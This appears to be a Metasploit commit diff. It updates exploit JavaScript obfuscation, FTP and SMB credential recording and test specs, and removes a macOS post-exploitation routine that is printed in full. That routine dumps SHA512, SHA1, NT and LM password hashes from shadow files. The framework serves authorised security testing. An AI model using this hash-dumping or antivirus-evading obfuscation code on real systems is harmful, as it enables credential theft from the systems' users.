Merge branch 'master' into aruba-testing
commit
fd9e92bb24
|
@ -88,8 +88,10 @@ protected
|
|||
|
||||
if opts[:newobfu]
|
||||
# Obfuscate the javascript using the new lexer method
|
||||
@js = JSObfu.new(@js)
|
||||
return @js.obfuscate
|
||||
js_obfu = JSObfu.new(@js)
|
||||
js_obfu.obfuscate
|
||||
@js = js_obfu.to_s
|
||||
return @js
|
||||
elsif opts[:noobfu]
|
||||
# Do not obfuscate, let the exploit do the work (useful to avoid double obfuscation)
|
||||
return @js
|
||||
|
|
|
@ -35,40 +35,67 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
|
||||
res = connect_login(true, false)
|
||||
res = connect_login(true, false)
|
||||
|
||||
banner.strip! if banner
|
||||
banner.strip! if banner
|
||||
|
||||
dir = Rex::Text.rand_text_alpha(8)
|
||||
if res
|
||||
write_check = send_cmd( ['MKD', dir] , true)
|
||||
dir = Rex::Text.rand_text_alpha(8)
|
||||
if res
|
||||
write_check = send_cmd(['MKD', dir] , true)
|
||||
|
||||
if (write_check and write_check =~ /^2/)
|
||||
send_cmd( ['RMD', dir] , true)
|
||||
if write_check && write_check =~ /^2/
|
||||
send_cmd( ['RMD', dir] , true)
|
||||
|
||||
print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})")
|
||||
access_type = "rw"
|
||||
else
|
||||
print_status("#{target_host}:#{rport} Anonymous READ (#{banner})")
|
||||
access_type = "ro"
|
||||
print_good("#{target_host}:#{rport} - Anonymous READ/WRITE (#{banner})")
|
||||
access_type = 'Read/Write'
|
||||
else
|
||||
print_good("#{target_host}:#{rport} - Anonymous READ (#{banner})")
|
||||
access_type = 'Read-only'
|
||||
end
|
||||
register_creds(target_host, access_type)
|
||||
end
|
||||
report_auth_info(
|
||||
:host => target_host,
|
||||
:port => rport,
|
||||
:sname => 'ftp',
|
||||
:user => datastore['FTPUSER'],
|
||||
:pass => datastore['FTPPASS'],
|
||||
:type => "password_#{access_type}",
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
|
||||
disconnect
|
||||
disconnect
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
raise $ERROR_INFO
|
||||
rescue ::Rex::ConnectionError, ::IOError
|
||||
end
|
||||
end
|
||||
|
||||
def register_creds(target_host, access_type)
|
||||
# Build service information
|
||||
service_data = {
|
||||
address: target_host,
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'ftp',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
# Build credential information
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_data: datastore['FTPPASS'],
|
||||
private_type: :password,
|
||||
username: datastore['FTPUSER'],
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
||||
login_data = {
|
||||
access_level: access_type,
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -172,7 +172,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
private_type: (
|
||||
Rex::Proto::NTLM::Utils.is_pass_ntlm_hash?(result.credential.private) ? :ntlm_hash : :password
|
||||
),
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
|
|
|
@ -46,7 +46,6 @@ class Metasploit3 < Msf::Post
|
|||
enum_accounts(log_folder, ver_num)
|
||||
get_crypto_keys(log_folder)
|
||||
screenshot(log_folder, ver_num)
|
||||
dump_hash(ver_num) if running_root
|
||||
dump_bash_history(log_folder)
|
||||
get_keychains(log_folder)
|
||||
|
||||
|
@ -459,142 +458,6 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
end
|
||||
# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
|
||||
def dump_hash(log_folder,ver_num)
|
||||
print_status("Dumping Hashes")
|
||||
users = []
|
||||
nt_hash = nil
|
||||
host = session.session_host
|
||||
|
||||
# Path to files with hashes
|
||||
sha1_file = ""
|
||||
|
||||
# Check if system is Lion if not continue
|
||||
if ver_num =~ /10\.(7)/
|
||||
|
||||
hash_decoded = ""
|
||||
|
||||
# get list of profiles present in the box
|
||||
profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")
|
||||
|
||||
if profiles
|
||||
profiles.each do |p|
|
||||
# Skip none user profiles
|
||||
next if p =~ /^_/
|
||||
next if p =~ /^daemon|root|nobody/
|
||||
|
||||
# Turn profile plist in to XML format
|
||||
cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
|
||||
cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
|
||||
file = cmd_exec("cat","/tmp/#{p.chomp}")
|
||||
|
||||
# Clean up using secure delete overwriting and zeroing blocks
|
||||
cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")
|
||||
|
||||
# Process XML Plist into a usable hash
|
||||
plist_values = read_ds_xml_plist(file)
|
||||
|
||||
# Extract the shadow hash data, decode it and format it
|
||||
plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
|
||||
hash_decoded << sprintf("%02X", b)
|
||||
end
|
||||
user = plist_values['name'].join("")
|
||||
|
||||
# Check if NT HASH is present
|
||||
if hash_decoded =~ /4F1010/
|
||||
nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
|
||||
end
|
||||
|
||||
# Carve out the SHA512 Hash, the first 4 bytes is the salt
|
||||
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
|
||||
|
||||
print_status("SHA512:#{user}:#{sha512}")
|
||||
sha1_file << "#{user}:#{sha512}\n"
|
||||
|
||||
# Reset hash value
|
||||
sha512 = ""
|
||||
|
||||
if nt_hash
|
||||
print_status("NT:#{user}:#{nt_hash}")
|
||||
print_status("Credential saved in database.")
|
||||
report_auth_info(
|
||||
:host => host,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:user => user,
|
||||
:pass => "AAD3B435B51404EE:#{nt_hash}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
# Reset hash value
|
||||
nt_hash = nil
|
||||
end
|
||||
# Reset hash value
|
||||
hash_decoded = ""
|
||||
end
|
||||
end
|
||||
# Save pwd file
|
||||
upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
|
||||
print_good("Unshadowed Password File: #{upassf}")
|
||||
|
||||
# If system was lion and it was processed nothing more to do
|
||||
return
|
||||
end
|
||||
|
||||
users_folder = cmd_exec("/bin/ls","/Users")
|
||||
|
||||
users_folder.each_line do |u|
|
||||
next if u.chomp =~ /Shared|\.localized/
|
||||
users << u.chomp
|
||||
end
|
||||
# Process each user
|
||||
users.each do |user|
|
||||
if ver_num =~ /10\.(6|5)/
|
||||
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
|
||||
elsif ver_num =~ /10\.(4|3)/
|
||||
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
|
||||
end
|
||||
|
||||
# Extract the hashes
|
||||
sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
|
||||
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
|
||||
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
|
||||
|
||||
# Check that we have the hashes and save them
|
||||
if sha1_hash !~ /00000000000000000000000000000000/
|
||||
print_status("SHA1:#{user}:#{sha1_hash}")
|
||||
sha1_file << "#{user}:#{sha1_hash}"
|
||||
end
|
||||
|
||||
if nt_hash !~ /000000000000000/
|
||||
print_status("NT:#{user}:#{nt_hash}")
|
||||
print_status("Credential saved in database.")
|
||||
report_auth_info(
|
||||
:host => host,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:user => user,
|
||||
:pass => "AAD3B435B51404EE:#{nt_hash}",
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
if lm_hash !~ /0000000000000/
|
||||
print_status("LM:#{user}:#{lm_hash}")
|
||||
print_status("Credential saved in database.")
|
||||
report_auth_info(
|
||||
:host => host,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:user => user,
|
||||
:pass => "#{lm_hash}:",
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
end
|
||||
# Save pwd file
|
||||
upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
|
||||
print_good("Unshadowed Password File: #{upassf}")
|
||||
end
|
||||
|
||||
# Download configured Keychains
|
||||
def get_keychains(log_folder)
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/encryptjs'
|
||||
|
||||
describe Rex::Exploitation::EncryptJS do
|
||||
|
||||
let(:code) { "var test = 'metasploit';" }
|
||||
let(:key) { 'secret' }
|
||||
let(:signature) { 'metasploit' }
|
||||
let(:loader_signature) { 'location.search.substring(1);' }
|
||||
let(:loader_key_words) { ['exploit', 'encoded', 'pass', 'decoded'] }
|
||||
|
||||
describe ".encrypt" do
|
||||
it "returns an String" do
|
||||
expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to be_an(String)
|
||||
end
|
||||
|
||||
it "returns the JavaScript loader code" do
|
||||
expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to include(loader_signature)
|
||||
end
|
||||
|
||||
it "encrypts the code" do
|
||||
expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(signature)
|
||||
end
|
||||
|
||||
it "obfuscates the loader" do
|
||||
loader_key_words.each do |key_word|
|
||||
expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(key_word)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,66 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/heaplib'
|
||||
|
||||
describe Rex::Exploitation::HeapLib do
|
||||
|
||||
let(:custom_code) { "var test = 'metasploit';" }
|
||||
let(:plain_signature) { 'JavaScript Heap Exploitation library' }
|
||||
let(:signature) { 'function(maxAlloc, heapBase)' }
|
||||
let(:methods) {
|
||||
[
|
||||
'lookasideAddr',
|
||||
'lookaside',
|
||||
'flushOleaut32',
|
||||
'freeOleaut32',
|
||||
'allocOleaut32',
|
||||
'paddingStr',
|
||||
'debugBreak',
|
||||
'debugHeap'
|
||||
]
|
||||
}
|
||||
|
||||
subject(:heap_lib_class) do
|
||||
described_class.allocate
|
||||
end
|
||||
|
||||
subject(:heap_lib) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
describe "#initialize" do
|
||||
it "returns an String" do
|
||||
expect(heap_lib_class.send(:initialize)).to be_a(String)
|
||||
end
|
||||
|
||||
it "returns the heap lib code" do
|
||||
expect(heap_lib_class.send(:initialize)).to include(signature)
|
||||
end
|
||||
|
||||
it "obfuscates with ObfuscateJS by default" do
|
||||
methods.each do |m|
|
||||
expect(heap_lib_class.send(:initialize)).to_not include(m)
|
||||
end
|
||||
end
|
||||
|
||||
it "allows to provide custom JS code as argument" do
|
||||
expect(heap_lib_class.send(:initialize, custom_code)).to include(custom_code)
|
||||
end
|
||||
|
||||
it "allows to disable obfuscation" do
|
||||
expect(heap_lib_class.send(:initialize, '', {:noobfu => true})).to include(plain_signature)
|
||||
end
|
||||
|
||||
it "allows to use JSObfu for obfuscation" do
|
||||
expect(heap_lib_class.send(:initialize, '', {:newobfu => true})).to_not include(plain_signature)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "returns the heap lib js code" do
|
||||
expect(heap_lib.to_s).to include(signature)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -25,12 +25,12 @@ describe Rex::Socket::RangeWalker do
|
|||
end
|
||||
|
||||
context "with an invalid hostname" do
|
||||
let(:args) { "asdf.foo." }
|
||||
let(:args) { "@!*^&.foo." }
|
||||
it { should_not be_valid }
|
||||
end
|
||||
|
||||
context "with an invalid hostname and CIDR" do
|
||||
let(:args) { "asdf.foo./24" }
|
||||
let(:args) { "@!*^&.foo./24" }
|
||||
it { should_not be_valid }
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue